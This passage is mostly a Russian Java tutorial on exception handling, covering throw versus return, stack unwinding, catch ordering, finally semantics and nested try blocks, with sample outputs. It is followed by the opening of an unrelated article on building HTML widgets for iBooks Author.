public static double sqr(double arg) {
// nothing
}
}
>> COMPILATION ERROR: Missing return statement
```
Из-забавного, можно ничего не возвращать, а «повесить метод»
```
public class App {
public static double sqr(double arg) {
while (true); // Удивительно, но КОМПИЛИРУЕТСЯ!
}
}
```
Тут в d никогда ничего не будет присвоено, так как метод sqr повисает
```
public class App {
public static void main(String[] args) {
double d = sqr(10.0); // sqr - навсегда "повиснет", и
System.out.println(d); // d - НИКОГДА НИЧЕГО НЕ БУДЕТ ПРИСВОЕНО!
}
public static double sqr(double arg) {
while (true); // Вот тут мы на века "повисли"
}
}
```
Компилятор пропустит «вилку» (таки берем в квадрат ИЛИ висим)
```
public class App {
public static double sqr(double arg) {
if (System.currentTimeMillis() % 2 == 0) {
return arg * arg; // ну ладно, вот твой double
} else {
while (true); // а тут "виснем" навсегда
}
}
}
```
**Но механизм исключений позволяет НИЧЕГО НЕ ВОЗВРАЩАТЬ!**
```
public class App {
public static double sqr(double arg) {
throw new RuntimeException();
}
}
```
Итак, у нас есть ТРИ варианта для компилятора
```
public class App {
public static double sqr(double arg) {// согласно объявлению метода ты должен вернуть double
long time = System.currentTimeMillis();
if (time % 2 == 0) {
return arg * arg; // ок, вот твой double
} else if (time % 2 == 1) { {
while (true); // не, я решил "повиснуть"
} else {
throw new RuntimeException(); // или бросить исключение
}
}
}
```
**Но КАКОЙ ЖЕ double вернет функция, бросающая RuntimeException?
А НИКАКОЙ!**
```
public class App {
public static void main(String[] args) {
// sqr - "сломается" (из него "выскочит" исключение),
double d = sqr(10.0); // выполнение метода main() прервется в этой строчке и
// d - НИКОГДА НИЧЕГО НЕ БУДЕТ ПРИСВОЕНО!
System.out.println(d); // и печатать нам ничего не придется!
}
public static double sqr(double arg) {
throw new RuntimeException(); // "бросаем" исключение
}
}
>> RUNTIME ERROR: Exception in thread "main" java.lang.RuntimeException
```
Подытожим: бросаемое исключение — это дополнительный возвращаемый тип. Если ваш метод объявил, что возвращает double, но у вас нет double — можете бросить исключение. Если ваш метод объявил, что ничего не возвращает (void), но у вам таки есть что сказать — можете бросить исключение.
Давайте рассмотрим некоторый пример из практики.
Задача: реализовать функцию, вычисляющую площадь прямоугольника
```
public static int area(int width, int height) {...}
```
важно, что задание звучит именно так, в терминах предметной области — «вычислить площадь прямоугольника», а не в терминах решения «перемножить два числа»:
```
public static int area(int width, int height) {
return width * height; // тут просто перемножаем
}
```
Вопрос: что делать, если мы обнаружили, что хотя бы один из аргументов — отрицательное число?
Если просто умножить, то мы пропустили ошибочные данные дальше. Что еще хуже, возможно, мы «исправили ситуацию» — сказали что площадь прямоугольника с двумя отрицательными сторонами -10 и -20 = 200.
Мы не можем ничего не вернуть
```
public static int area(int width, int height) {
if (width < 0 || height < 0) {
// у вас плохие аргументы, извините
} else {
return width * height;
}
}
>> COMPILATION ERROR: Missing return statement
```
Можно, конечно, отписаться в консоль, но кто ее будет читать и как определить где была поломка. При чем, вычисление то продолжится с неправильными данными
```
public static int area(int width, int height) {
if (width < 0 || height < 0) {
System.out.println("Bad ...");
}
return width * height;
}
```
Можно вернуть специальное значение, показывающее, что что-то не так (error code), но кто гарантирует, что его прочитают, а не просто воспользуются им?
```
public static int area(int width, int height) {
if (width < 0 || height < 0) {
return -1; // специальное "неправильное" значение площади
}
return width * height;
}
```
Можем, конечно, целиком остановить виртуальную машину
```
public static int area(int width, int height) {
if (width < 0 || height < 0) {
System.exit(0);
}
return width * height;
}
```
Но «правильный путь» таков: если обнаружили возможное некорректное поведение, то
1. Вычисления остановить, сгенерировать сообщение-поломку, которое трудно игнорировать, предоставить пользователю информацию о причине, предоставить пользователю возможность все починить (загрузить белье назад и повторно нажать кнопку старт)
```
public static int area(int width, int height) {
if (width < 0 || height < 0) {
throw new IllegalArgumentException("Negative sizes: w = " + width + ", h = " + height);
}
return width * height;
}
```
#### 4. Нелокальная передача управления (nonlocal control transfer)
**Механизм исключительных ситуация (исключений) — это механизм НЕЛОКАЛЬНОЙ ПЕРЕДАЧИ УПРАВЛЕНИЯ.**
Что под этим имеется в виду?
Программа, в ходе своего выполнения (точнее исполнения инструкций в рамках отдельного потока), оперирует стеком («стопкой») фреймов. Передача управления осуществляется либо в рамках одного фрейма
```
public class App {
public static void main(String[] args) {
// Пример: ОПЕРАТОР ПОСЛЕДОВАТЕЛЬНОСТИ
int x = 42; // первый шаг
int y = x * x; // второй шаг
x = x * y; // третий шаг
...
}
}
```
```
public class App {
public static void main(String[] args) {
// Пример: ОПЕРАТОР ВЕТВЛЕНИЯ
if (args.length > 2) { первый шаг
// второй шаг или тут
...
} else {
// или тут
...
}
// третий шаг
...
}
}
```
```
public class App {
public static void main(String[] args) {
// Пример: ОПЕРАТОР ЦИКЛА do..while
int x = 1;
do {
...
} while (x++ < 10);
...
}
}
```
и другие операторы.
Либо передача управления происходит в «стопке» фреймов между СОСЕДНИМИ фреймами
* вызов метода: создаем новый фрейм, помещаем его на верхушку стека и переходим в него
* выход из метода: возвращаемся к предыдущему фрейму (через return или просто кончились инструкции в методе)
return — выходим из ОДНОГО фрейма (из фрейма #4(метод h()))
```
public class App {
public static void main(String[] args) {
System.err.println("#1.in");
f(); // создаем фрейм, помещаем в стек, передаем в него управление
System.err.println("#1.out"); // вернулись
} // выходим из текущего фрейма, кончились инструкции
public static void f() {
System.err.println(". #2.in");
g(); // создаем фрейм, помещаем в стек, передаем в него управление
System.err.println(". #2.out"); //вернулись
} // выходим из текущего фрейма, кончились инструкции
public static void g() {
System.err.println(". . #3.in");
h(); // создаем фрейм, помещаем в стек, передаем в него управление
System.err.println(". . #3.out"); // вернулись
} // выходим из текущего фрейма, кончились инструкции
public static void h() {
System.err.println(". . . #4.in");
if (true) {
System.err.println(". . . #4.RETURN");
return; // выходим из текущего фрейма по 'return'
}
System.err.println(". . . #4.out"); // ПРОПУСКАЕМ
}
}
>> #1.in
>> . #2.in
>> . . #3.in
>> . . . #4.in
>> . . . #4.RETURN
>> . . #3.out
>> . #2.out
>> #1.out
```
throw — выходим из ВСЕХ фреймов
```
public class App {
public static void main(String[] args) {
System.err.println("#1.in");
f(); // создаем фрейм, помещаем в стек, передаем в него управление
System.err.println("#1.out"); // ПРОПУСТИЛИ!
}
public static void f() {
System.err.println(". #2.in");
g(); // создаем фрейм, помещаем в стек, передаем в него управление
System.err.println(". #2.out"); // ПРОПУСТИЛИ!
}
public static void g() {
System.err.println(". . #3.in");
h(); // создаем фрейм, помещаем в стек, передаем в него управление
System.err.println(". . #3.out"); // ПРОПУСТИЛИ!
}
public static void h() {
System.err.println(". . . #4.in");
if (true) {
System.err.println(". . . #4.THROW");
throw new Error(); // выходим со всей пачки фреймов ("раскрутка стека") по 'throw'
}
System.err.println(". . . #4.out"); // ПРОПУСТИЛИ!
}
}
>> #1.in
>> . #2.in
>> . . #3.in
>> . . . #4.in
>> . . . #4.THROW
>> RUNTIME ERROR: Exception in thread "main" java.lang.Error
```
При помощи catch мы можем остановить летящее исключение (причина, по которой мы автоматически покидаем фреймы).
Останавливаем через 3 фрейма, пролетаем фрейм #4(метод h()) + пролетаем фрейм #3(метод g()) + фрейм #2(метод f())
```
public class App {
public static void main(String[] args) {
System.err.println("#1.in");
try {
f(); // создаем фрейм, помещаем в стек, передаем в него управление
} catch (Error e) { // "перехватили" "летящее" исключение
System.err.println("#1.CATCH"); // и работаем
}
System.err.println("#1.out"); // работаем дальше
}
public static void f() {
System.err.println(". #2.in");
g(); // создаем фрейм, помещаем в стек, передаем в него управление
System.err.println(". #2.out"); // ПРОПУСТИЛИ!
}
public static void g() {
System.err.println(". . #3.in");
h(); // создаем фрейм, помещаем в стек, передаем в него управление
System.err.println(". . #3.out"); // ПРОПУСТИЛИ!
}
public static void h() {
System.err.println(". . . #4.in");
if (true) {
System.err.println(". . . #4.THROW");
throw new Error(); // выходим со всей пачки фреймов ("раскрутка стека") по 'throw'
}
System.err.println(". . . #4.out"); // ПРОПУСТИЛИ!
}
}
>> #1.in
>> . #2.in
>> . . #3.in
>> . . . #4.in
>> . . . #4.THROW
>> #1.CATCH
>> #1.out
```
Обратите внимание, стандартный сценарий работы был восстановлен в методе main() (фрейм #1)
Останавливаем через 2 фрейма, пролетаем фрейм #4(метод h()) + пролетаем фрейм #3(метод g())
```
public class App {
public static void main(String[] args) {
System.err.println("#1.in");
f(); // создаем фрейм, помещаем в стек, передаем в него управление
System.err.println("#1.out"); // вернулись и работаем
}
public static void f() {
System.err.println(". #2.in");
try {
g(); // создаем фрейм, помещаем в стек, передаем в него управление
} catch (Error e) { // "перехватили" "летящее" исключение
System.err.println(". #2.CATCH"); // и работаем
}
System.err.println(". #2.out"); // работаем дальше
}
public static void g() {
System.err.println(". . #3.in");
h(); // создаем фрейм, помещаем в стек, передаем в него управление
System.err.println(". . #3.out"); // ПРОПУСТИЛИ!
}
public static void h() {
System.err.println(". . . #4.in");
if (true) {
System.err.println(". . . #4.THROW");
throw new Error(); // выходим со всей пачки фреймов ("раскрутка стека") по 'throw'
}
System.err.println(". . . #4.out"); // ПРОПУСТИЛИ!
}
}
>> #1.in
>> . #2.in
>> . . #3.in
>> . . . #4.in
>> . . . #4.THROW
>> . #2.CATCH
>> . #2.out
>> #1.out
```
Останавливаем через 1 фрейм (фактически аналог return, просто покинули фрейм «другим образом»)
```
public class App {
public static void main(String[] args) {
System.err.println("#1.in");
f(); // создаем фрейм, помещаем в стек, передаем в него управление
System.err.println("#1.out"); // вернулись и работаем
}
public static void f() {
System.err.println(". #2.in");
g(); // создаем фрейм, помещаем в стек, передаем в него управление
System.err.println(". #2.out"); // вернулись и работаем
}
public static void g() {
System.err.println(". . #3.in");
try {
h(); // создаем фрейм, помещаем в стек, передаем в него управление
} catch (Error e) { // "перехватили" "летящее" исключение
System.err.println(". . #3.CATCH"); // и работаем
}
System.err.println(". . #3.out"); // работаем дальше
}
public static void h() {
System.err.println(". . . #4.in");
if (true) {
System.err.println(". . . #4.THROW");
throw new Error(); // выходим со всей пачки фреймов ("раскрутка стека") по 'throw'
}
System.err.println(". . . #4.out"); // ПРОПУСТИЛИ!
}
}
>> #1.in
>> . #2.in
>> . . #3.in
>> . . . #4.in
>> . . . #4.THROW
>> . . #3.CATCH
>> . . #3.out
>> . #2.out
>> #1.out
```
Итак, давайте сведем все на одну картинку
```
// ---Используем RETURN--- // ---Используем THROW---
// Выход из 1-го фрейма // Выход из ВСЕХ (из 4) фреймов
#1.in #1.in
. #2.in . #2.in
. . #3.in . . #3.in
. . . #4.in . . . #4.in
. . . #4.RETURN . . . #4.THROW
. . #3.out RUNTIME EXCEPTION: Exception in thread "main" java.lang.Error
. #2.out
#1.out
// ---Используем THROW+CATCH---
// Выход из 3-х фреймов // Выход из 2-х фреймов // Выход из 1-го фрейма
#1.in #1.in #1.in
. #2.in . #2.in . #2.in
. . #3.in . . #3.in . . #3.in
. . . #4.in . . . #4.in . . . #4.in
. . . #4.THROW . . . #4.THROW . . . #4.THROW
#1.CATCH . #2.CATCH . . #3.CATCH
#1.out . #2.out . . #3.out
#1.out . #2.out
#1.out
```
#### 5. try + catch (catch — полиморфен)
Напомним иерархию исключений
```
Object
|
Throwable
/ \
Error Exception
|
RuntimeException
```
То, что исключения являются объектами важно для нас в двух моментах
1. Они образуют иерархию с корнем java.lang.Throwable (java.lang.Object — предок java.lang.Throwable, но Object — уже не исключение)
2. Они могут иметь поля и методы (в этой статье это не будем использовать)
По первому пункту: catch — полиморфная конструкция, т.е. catch по типу Parent перехватывает летящие экземпляры любого типа, который является Parent-ом (т.е. экземпляры непосредственно Parent-а или любого потомка Parent-а)
```
public class App {
public static void main(String[] args) {
try {
System.err.print(" 0");
if (true) {throw new RuntimeException();}
System.err.print(" 1");
} catch (Exception e) { // catch по Exception ПЕРЕХВАТЫВАЕТ RuntimeException
System.err.print(" 2");
}
System.err.println(" 3");
}
}
>> 0 2 3
```
**Даже так: в блоке catch мы будем иметь ссылку типа Exception на объект типа RuntimeException**
```
public class App {
public static void main(String[] args) {
try {
throw new RuntimeException();
} catch (Exception e) {
if (e instanceof RuntimeException) {
RuntimeException re = (RuntimeException) e;
System.err.print("Это RuntimeException на самом деле!!!");
} else {
System.err.print("В каком смысле не RuntimeException???");
}
}
}
}
>> Это RuntimeException на самом деле!!!
```
catch по потомку не может поймать предка
```
public class App {
public static void main(String[] args) throws Exception { // пока игнорируйте 'throws'
try {
System.err.print(" 0");
if (true) {throw new Exception();}
System.err.print(" 1");
} catch (RuntimeException e) {
System.err.print(" 2");
}
System.err.print(" 3");
}
}
>> 0
>> RUNTIME EXCEPTION: Exception in thread "main" java.lang.Exception
```
catch по одному «брату» не может поймать другого «брата» (Error и Exception не находятся в отношении предок-потомок, они из параллельных веток наследования от Throwable)
```
public class App {
public static void main(String[] args) {
try {
System.err.print(" 0");
if (true) {throw new Error();}
System.err.print(" 1");
} catch (Exception e) {
System.err.print(" 2");
}
System.err.print(" 3");
}
}
>> 0
>> RUNTIME EXCEPTION: Exception in thread "main" java.lang.Error
```
По предыдущим примерам — надеюсь вы обратили внимание, что если исключение перехвачено, то JVM выполняет операторы идущие ПОСЛЕ последних скобок try+catch.
Но если не перехвачено, то мы
1. не заходим в блок catch
2. покидаем фрейм метода с летящим исключением
А что будет, если мы зашли в catch, и потом бросили исключение ИЗ catch?
```
public class App {
public static void main(String[] args) {
try {
System.err.print(" 0");
if (true) {throw new RuntimeException();}
System.err.print(" 1");
} catch (RuntimeException e) { // перехватили RuntimeException
System.err.print(" 2");
if (true) {throw new Error();} // но бросили Error
}
System.err.println(" 3"); // пропускаем - уже летит Error
}
}
>> 0 2
>> RUNTIME EXCEPTION: Exception in thread "main" java.lang.Error
```
В таком случае выполнение метода тоже прерывается (не печатаем «3»). Новое исключение не имеет никакого отношения к try-catch
Мы можем даже кинуть тот объект, что у нас есть «на руках»
```
public class App {
public static void main(String[] args) {
try {
System.err.print(" 0");
if (true) {throw new RuntimeException();}
System.err.print(" 1");
} catch (RuntimeException e) { // перехватили RuntimeException
System.err.print(" 2");
if (true) {throw e;} // и бросили ВТОРОЙ раз ЕГО ЖЕ
}
System.err.println(" 3"); // пропускаем - опять летит RuntimeException
}
}
>> 0 2
>> RUNTIME EXCEPTION: Exception in thread "main" java.lang.RuntimeException
```
И мы не попадем в другие секции catch, если они есть
```
public class App {
public static void main(String[] args) {
try {
System.err.print(" 0");
if (true) {throw new RuntimeException();}
System.err.print(" 1");
} catch (RuntimeException e) { // перехватили RuntimeException
System.err.print(" 2");
if (true) {throw new Error();} // и бросили новый Error
} catch (Error e) { // хотя есть cath по Error "ниже", но мы в него не попадаем
System.err.print(" 3");
}
System.err.println(" 4");
}
}
>> 0 2
>> RUNTIME EXCEPTION: Exception in thread "main" java.lang.Error
```
Обратите внимание, мы не напечатали «3», хотя у нас летит Error а «ниже» расположен catch по Error. Но важный момент в том, что catch имеет отношение исключительно к try-секции, но не к другим catch-секциям.
Как покажем ниже — можно строить вложенные конструкции, но вот пример, «исправляющий» эту ситуацию
```
public class App {
public static void main(String[] args) {
try {
System.err.print(" 0");
if (true) {throw new RuntimeException();}
System.err.print(" 1");
} catch (RuntimeException e) { // перехватили RuntimeException
System.err.print(" 2.1");
try {
System.err.print(" 2.2");
if (true) {throw new Error();} // и бросили новый Error
System.err.print(" 2.3");
} catch (Throwable t) { // перехватили Error
System.err.print(" 2.4");
}
System.err.print(" 2.5");
} catch (Error e) { // хотя есть cath по Error "ниже", но мы в него не попадаем
System.err.print(" 3");
}
System.err.println(" 4");
}
}
>> 0 2.1 2.2 2.4 2.5 4
```
#### 6. try + catch + catch + ...
Как вы видели, мы можем расположить несколько catch после одного try.
Но есть такое правило — **нельзя ставить потомка после предка!** (RuntimeException после Exception)
```
public class App {
public static void main(String[] args) {
try {
} catch (Exception e) {
} catch (RuntimeException e) {
}
}
}
>> COMPILATION ERROR: Exception 'java.lang.RuntimeException' has alredy been caught
```
Ставить брата после брата — можно (RuntimeException после Error)
```
public class App {
public static void main(String[] args) {
try {
} catch (Error e) {
} catch (RuntimeException e) {
}
}
}
```
Как происходит выбор «правильного» catch? Да очень просто — JVM идет сверху-вниз до тех пор, пока не найдет такой catch что в нем указано ваше исключение или его предок — туда и заходит. Ниже — не идет.
```
public class App {
public static void main(String[] args) {
try {
throw new Exception();
} catch (RuntimeException e) {
System.err.println("catch RuntimeException");
} catch (Exception e) {
System.err.println("catch Exception");
} catch (Throwable e) {
System.err.println("catch Throwable");
}
System.err.println("next statement");
}
}
>> catch Exception
>> next statement
```
Выбор catch осуществляется в runtime (а не в compile-time), значит учитывается не тип ССЫЛКИ (Throwable), а тип ССЫЛАЕМОГО (Exception)
```
public class App {
public static void main(String[] args) {
try {
Throwable t = new Exception(); // ссылка типа Throwable указывает на объект типа Exception
throw t;
} catch (RuntimeException e) {
System.err.println("catch RuntimeException");
} catch (Exception e) {
System.err.println("catch Exception");
} catch (Throwable e) {
System.err.println("catch Throwable");
}
System.err.println("next statement");
}
}
>> catch Exception
>> next statement
```
#### 7. try + finally
finally-секция получает управление, если try-блок завершился успешно
```
public class App {
public static void main(String[] args) {
try {
System.err.println("try");
} finally {
System.err.println("finally");
}
}
}
>> try
>> finally
```
finally-секция получает управление, даже если try-блок завершился исключением
```
public class App {
public static void main(String[] args) {
try {
throw new RuntimeException();
} finally {
System.err.println("finally");
}
}
}
>> finally
>> Exception in thread "main" java.lang.RuntimeException
```
finally-секция получает управление, даже если try-блок завершился директивой выхода из метода
```
public class App {
public static void main(String[] args) {
try {
return;
} finally {
System.err.println("finally");
}
}
}
>> finally
```
finally-секция НЕ вызывается только если мы «прибили» JVM
```
public class App {
public static void main(String[] args) {
try {
System.exit(42);
} finally {
System.err.println("finally");
}
}
}
>> Process finished with exit code 42
```
System.exit(42) и Runtime.getRuntime().exit(42) — это синонимы
```
public class App {
public static void main(String[] args) {
try {
Runtime.getRuntime().exit(42);
} finally {
System.err.println("finally");
}
}
}
>> Process finished with exit code 42
```
И при Runtime.getRuntime().halt(42) — тоже не успевает зайти в finally
```
public class App {
public static void main(String[] args) {
try {
Runtime.getRuntime().halt(42);
} finally {
System.err.println("finally");
}
}
}
>> Process finished with exit code 42
```
**exit() vs halt()**
javadoc: java.lang.Runtime#halt(int status)
… Unlike the exit method, this method does not cause shutdown hooks to be started and does not run uninvoked finalizers if finalization-on-exit has been enabled. If the shutdown sequence has already been initiated then this method does not wait for any running shutdown hooks or finalizers to finish their work.
Однако finally-секция не может «починить» try-блок завершившийся исключение (заметьте, «more» — не выводится в консоль)
```
public class App {
public static void main(String[] args) {
try {
System.err.println("try");
if (true) {throw new RuntimeException();}
} finally {
System.err.println("finally");
}
System.err.println("more");
}
}
>> try
>> finally
>> Exception in thread "main" java.lang.RuntimeException
```
Трюк с «if (true) {...}» требуется, так как иначе компилятор обнаруживает недостижимый код (последняя строка) и отказывается его компилировать
```
public class App {
public static void main(String[] args) {
try {
System.err.println("try");
throw new RuntimeException();
} finally {
System.err.println("finally");
}
System.err.println("more");
}
}
>> COMPILER ERROR: Unrechable statement
```
И finally-секция не может «предотвратить» выход из метода, если try-блок вызвал return («more» — не выводится в консоль)
```
public class App {
public static void main(String[] args) {
try {
System.err.println("try");
if (true) {return;}
} finally {
System.err.println("finally");
}
System.err.println("more");
}
}
>> try
>> finally
```
Однако finally-секция может «перебить» throw/return при помощи другого throw/return
```
public class App {
public static void main(String[] args) {
System.err.println(f());
}
public static int f() {
try {
return 0;
} finally {
return 1;
}
}
}
>> 1
```
```
public class App {
public static void main(String[] args) {
System.err.println(f());
}
public static int f() {
try {
throw new RuntimeException();
} finally {
return 1;
}
}
}
>> 1
```
```
public class App {
public static void main(String[] args) {
System.err.println(f());
}
public static int f() {
try {
return 0;
} finally {
throw new RuntimeException();
}
}
}
>> Exception in thread "main" java.lang.RuntimeException
```
```
public class App {
public static void main(String[] args) {
System.err.println(f());
}
public static int f() {
try {
throw new Error();
} finally {
throw new RuntimeException();
}
}
}
>> Exception in thread "main" java.lang.RuntimeException
```
finally-секция может быть использована для завершающего действия, которое гарантированно будет вызвано (даже если было брошено исключение или автор использовал return) по окончании работы
```
// open some resource
try {
// use resource
} finally {
// close resource
}
```
Например для освобождения захваченной блокировки
```
Lock lock = new ReentrantLock();
...
lock.lock();
try {
// some code
} finally {
lock.unlock();
}
```
Или для закрытия открытого файлового потока
```
InputStream input = new FileInputStream("...");
try {
// some code
} finally {
input.close();
}
```
Специально для этих целей в Java 7 появилась конструкция [try-with-resources](/try-with-resources), ее мы изучим позже.
Вообще говоря, в finally-секция нельзя стандартно узнать было ли исключение.
Конечно, можно постараться написать свой «велосипед»
```
public class App {
public static void main(String[] args) {
System.err.println(f());
}
public static int f() {
long rnd = System.currenttimeMillis();
boolean finished = false;
try {
if (rnd % 3 == 0) {
throw new Error();
} else if (rnd % 3 == 1) {
throw new RuntimeException();
} else {
// nothing
}
finished = true;
} finally {
if (finished) {
// не было исключений
} else {
// было исключение, но какое?
}
}
}
}
```
**Не рекомендуемые практики**
— return из finally-секции (можем затереть исключение из try-блока)
— действия в finally-секции, которые могут бросить исключение (можем затереть исключение из try-блока)
#### 8. try + catch + finally
Нет исключения
```
public class App {
public static void main(String[] args) {
try {
System.err.print(" 0");
// nothing
System.err.print(" 1");
} catch(Error e) {
System.err.print(" 2");
} finally {
System.err.print(" 3");
}
System.err.print(" 4");
}
}
>> 0 1 3 4
```
Не заходим в catch, заходим в finally, продолжаем после оператора
Есть исключение и есть подходящий catch
```
public class App {
public static void main(String[] args) {
try {
System.err.print(" 0");
if (true) {throw new Error();}
System.err.print(" 1");
} catch(Error e) {
System.err.print(" 2");
} finally {
System.err.print(" 3");
}
System.err.print(" 4");
}
}
>> 0 2 3 4
```
Заходим в catch, заходим в finally, продолжаем после оператора
Есть исключение но нет подходящего catch
```
public class App {
public static void main(String[] args) {
try {
System.err.print(" 0");
if (true) {throw new RuntimeException();}
System.err.print(" 1");
} catch(Error e) {
System.err.print(" 2");
} finally {
System.err.print(" 3");
}
System.err.print(" 4");
}
}
>> 0 3
>> RUNTIME ERROR: Exception in thread "main" java.lang.RuntimeException
```
Не заходим в catch, заходим в finally, не продолжаем после оператора — вылетаем с неперехваченным исключением
#### 9. Вложенные try + catch + finally
Операторы обычно допускают неограниченное вложение.
Пример с if
```
public class App {
public static void main(String[] args) {
if (args.length > 1) {
if (args.length > 2) {
if (args.length > 3) {
...
}
}
}
}
}
```
Пример с for
```
public class App {
public static void main(String[] args) {
for (int i = 0; i < 10; i++) {
for (int j = 0; j < 10; i++) {
for (int k = 0; k < 10; k++) {
...
}
}
}
}
}
```
Суть в том, что try-cacth-finally тоже допускает неограниченное вложение.
Например вот так
```
public class App {
public static void main(String[] args) {
try {
try {
try {
...
} catch (Exception e) {
} finally {}
} catch (Exception e) {
} finally {}
} catch (Exception e) {
} finally {}
}
}
```
Или даже вот так
```
public class App {
public static void main(String[] args) {
try {
try {
...
} catch (Exception e) {
...
} finally {
...
}
} catch (Exception e) {
try {
...
} catch (Exception e) {
...
} finally {
...
}
} finally {
try {
...
} catch (Exception e) {
...
} finally {
...
}
}
}
}
```
Ну что же, давайте исследуем как это работает.
Вложенный try-catch-finally без исключения
```
public class App {
public static void main(String[] args) {
try {
System.err.print(" 0");
try {
System.err.print(" 1");
// НИЧЕГО
System.err.print(" 2");
} catch (RuntimeException e) {
System.err.print(" 3"); // НЕ заходим - нет исключения
} finally {
System.err.print(" 4"); // заходим всегда
}
System.err.print(" 5"); // заходим - выполнение в норме
} catch (Exception e) {
System.err.print(" 6"); // НЕ заходим - нет исключения
} finally {
System.err.print(" 7"); // заходим всегда
}
System.err.print(" 8"); // заходим - выполнение в норме
}
}
>> 0 1 2 4 5 7 8
```
Мы НЕ заходим в обе catch-секции (нет исключения), заходим в обе finally-секции и выполняем обе строки ПОСЛЕ finally.
Вложенный try-catch-finally с исключением, которое ПЕРЕХВАТИТ ВНУТРЕННИЙ catch
```
public class App {
public static void main(String[] args) {
try {
System.err.print(" 0");
try {
System.err.print(" 1");
if (true) {throw new RuntimeException();}
System.err.print(" 2");
} catch (RuntimeException e) {
System.err.print(" 3"); // ЗАХОДИМ - есть исключение
} finally {
System.err.print(" 4"); // заходим всегда
}
System.err.print(" 5"); // заходим - выполнение УЖЕ в норме
} catch (Exception e) {
System.err.print(" 6"); // не заходим - нет исключения, УЖЕ перехвачено
} finally {
System.err.print(" 7"); // заходим всегда
}
System.err.print(" 8"); // заходим - выполнение УЖЕ в норме
}
}
>> 0 1 3 4 5 7 8
```
Мы заходим в ПЕРВУЮ catch-секцию (печатаем «3»), но НЕ заходим во ВТОРУЮ catch-секцию (НЕ печатаем «6», так как исключение УЖЕ перехвачено первым catch), заходим в обе finally-секции (печатаем «4» и «7»), в обоих случаях выполняем код после finally (печатаем «5»и «8», так как исключение остановлено еще первым catch).
Вложенный try-catch-finally с исключением, которое ПЕРЕХВАТИТ ВНЕШНИЙ catch
```
public class App {
public static void main(String[] args) {
try {
System.err.print(" 0");
try {
System.err.print(" 1");
if (true) {throw new Exception();}
System.err.print(" 2");
} catch (RuntimeException e) {
System.err.print(" 3"); // НЕ заходим - есть исключение, но НЕПОДХОДЯЩЕГО ТИПА
} finally {
System.err.print(" 4"); // заходим всегда
}
System.err.print(" 5"); // не заходим - выполнение НЕ в норме
} catch (Exception e) {
System.err.print(" 6"); // ЗАХОДИМ - есть подходящее исключение
} finally {
System.err.print(" 7"); // заходим всегда
}
System.err.print(" 8"); // заходим - выполнение УЖЕ в норме
}
}
>> 0 1 4 6 7 8
```
Мы НЕ заходим в ПЕРВУЮ catch-секцию (не печатаем «3»), но заходим в ВТОРУЮ catch-секцию (печатаем «6»), заходим в обе finally-секции (печатаем «4» и «7»), в ПЕРВОМ случае НЕ выполняем код ПОСЛЕ finally (не печатаем «5», так как исключение НЕ остановлено), во ВТОРОМ случае выполняем код после finally (печатаем «8», так как исключение остановлено).
Вложенный try-catch-finally с исключением, которое НИКТО НЕ ПЕРЕХВАТИТ
```
public class App {
public static void main(String[] args) {
try {
System.err.print(" 0");
try {
System.err.print(" 1");
if (true) {throw new Error();}
System.err.print(" 2");
} catch (RuntimeException e) {
System.err.print(" 3"); // НЕ заходим - есть исключение, но НЕПОДХОДЯЩЕГО ТИПА
} finally {
System.err.print(" 4"); // заходим всегда
}
System.err.print(" 5"); // НЕ заходим - выполнение НЕ в норме
} catch (Exception e) {
System.err.print(" 6"); // не заходим - есть исключение, но НЕПОДХОДЯЩЕГО ТИПА
} finally {
System.err.print(" 7"); // заходим всегда
}
System.err.print(" 8"); // не заходим - выполнение НЕ в норме
}
}
>> 0 1 4 7
>> RUNTIME EXCEPTION: Exception in thread "main" java.lang.Error
```
Мы НЕ заходим в ОБЕ catch-секции (не печатаем «3» и «6»), заходим в обе finally-секции (печатаем «4» и «7») и в обоих случаях НЕ выполняем код ПОСЛЕ finally (не печатаем «5» и «8», так как исключение НЕ остановлено), выполнение метода прерывается по исключению.
#### Контакты
Я занимаюсь онлайн обучением Java (вот [курсы программирования](http://golovachcourses.com)) и публикую часть учебных материалов в рамках переработки [курса Java Core](http://habrahabr.ru/company/golovachcourses/blog/218841/). Видеозаписи лекций в аудитории Вы можете увидеть на [youtube-канале](http://www.youtube.com/user/KharkovITCourses), возможно, видео канала лучше систематизировано в [этой статье](http://habrahabr.ru/company/golovachcourses/blog/215275/).
Мой метод обучения состоит в том, что я
1. показываю различные варианты применения
2. строю усложняющуюся последовательность примеров по каждому варианту
3. объясняю логику двигавшую авторами (по мере возможности)
4. даю большое количество тестов (50-100) всесторонне проверяющее понимание и демонстрирующих различные комбинации
5. даю лабораторные для самостоятельной работы
Данная статье следует пунктам #1 (различные варианты) и #2(последовательность примеров по каждому варианту).
skype: GolovachCourses
email: GolovachCourses@gmail.com | https://habr.com/ru/post/223821/ | null | ru | null |
# Пишем HTML-виджет для приложения IBOOK Author
Ни для кого не секрет, что печатные книги уходят в прошлое. Им на смену приходит новое поколение устройств (а вместе с ними и программ), которые позволяют не только прочитать материал, подобно книге, но и разнообразить чтение интерактивными вставками. Это может быть как и некий динамически изменяющийся материал (лента твиттера и т.п.), так и некое интерактивное содержание (анимация работы конденсатора и т.п.)
Компания Apple выпустило приложение IBOOK Author, которое позволяет делать интерактивные книги для приложения IBOOKS устройств IPAD. Сегодня я предлагаю познакомиться с тем, как же создавать HTML-виджеты для данного приложения на примере виджета твиттера.
Для создания виджетов существует множество программ, стоимость которых варьируется от 0 (Dashcode) до 60 ([Tumult Hype](http://tumult.com/hype/whats-new/1.6/)).
Создавать же свой виджет мы будем «вручную», без использования специализированных программ.
Теперь предлагаю перейти от слов к делу.
Структура виджета
-----------------
HTML виджет для IBOOK — это папка с расширением wdgt.
При создании HTML виджета можно выделить следующие обязательные файлы:
* Default.png = Файл — превью виджета. Данное изображение будет демонстрироваться пользователю, пока он не запустит виджет. Имя файла строгое и регистрозависимое. Разрешение виджета (если не задано иных параметров) будет равно разрешению данной картинки.
*Retina:* Если создается виджет, поддерживающий Retina дисплеи, то должен быть создан также файл Default@2x.png, который имеет в два раза большее разрешение, чем оригинальный Default.png.
* Основной HTML файл — название данному файлу можно задать любое. Является основной функциональной частью виджета. Может включать как и css, так и js файлы (здесь ограничений нет, все аналогично написанию веб-страниц)
*Retina:* Для поддержки необходимо писать аналогично веб-страницам для Retina дисплеев (на хабре уже мелькали [статьи на эту тему](http://habrahabr.ru/search/page2/?q=%D0%A1%D0%B0%D0%B9%D1%82%D1%8B+%D0%B4%D0%BB%D1%8F+Retina+%D0%B4%D0%B8%D1%81%D0%BF%D0%BB%D0%B5%D0%B5%D0%B2) )
* Info.plist — файл конфига для виджета. Содержит информацию о названии виджета, его разрешении, основном HTML файле и т.д. Остановимся на нем немного подробнее...
